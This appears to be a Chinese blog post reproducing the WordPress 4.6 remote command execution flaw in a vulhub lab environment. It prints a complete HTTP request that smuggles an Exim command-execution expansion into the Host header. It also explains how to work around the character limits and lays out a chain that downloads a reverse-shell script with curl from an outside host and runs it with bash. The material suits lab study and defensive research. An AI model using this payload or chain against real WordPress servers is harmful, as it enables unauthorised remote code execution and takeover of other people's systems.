vulhub中Wordpress 4.6 任意命令执行漏洞复现

由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://your-ip:8080/打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。

发送如下数据包,可见/tmp/success已经成功创建:

复制代码
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:

  1. 执行的命令不能包含大量特殊字符,如:、引号等。

  2. 命令会被转换成小写字母

  3. 命令需要使用绝对路径

  4. 需要知道某一个存在的用户的用户名

为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格的方法。

但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。

所以,总体来说利用过程如下:

  • 编写反弹shell的exp,放到某个网页里。有如下要求:

    • 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径

    • 访问该网页不能跳转,因为follow跳转的参数是-L(大写)

  • 拼接成命令/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce

  • 将上述命令中的空格和/转换成${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}

  • 拼接成HTTP包的Host头:target(any -froot@localhost -be ${run{command}} null)

  • 依次发送这两个拼接好的数据包

相关推荐
2601_965798473 天前
Renovate Theme Setup: Fast Contractor & Construction Site Architecture
theme·wordpress
2601_965798474 天前
Salient Theme Setup Guide for Fast Creative WordPress Sites
数据库·web3·php·wordpress
2601_965798477 天前
Boutique Business Consulting WordPress Architecture & SEO Setup
android·theme·wordpress
2601_965798478 天前
Plastic Surgery Clinic Web Setup: Deploying Rejuvita WordPress
php·theme·wordpress
2601_965798478 天前
Contractor Web Setup: Deploying Bathrooms & Kitchens Theme Fast
前端·web3·php·wordpress
e6zzseo15 天前
wordpress独立站seo怎么做才有效
seo·wordpress·独立站·内容优化·外链建设
Web极客码17 天前
如何让用户订阅WordPress评论?提升用户互动的有效策略
运维·服务器·wordpress
fobwebs17 天前
Wordpress Xstore 主题安装Elementor Pro 后找不到某些Elements 组件的解决方法
element·wordpress·form·xstore·pro elements·elementor pro
代龙涛18 天前
WordPress sidebar.php 侧边栏开发教程
开发语言·php·wordpress
代龙涛19 天前
WordPress header.php 与 footer.php 模板结构详解
开发语言·php·wordpress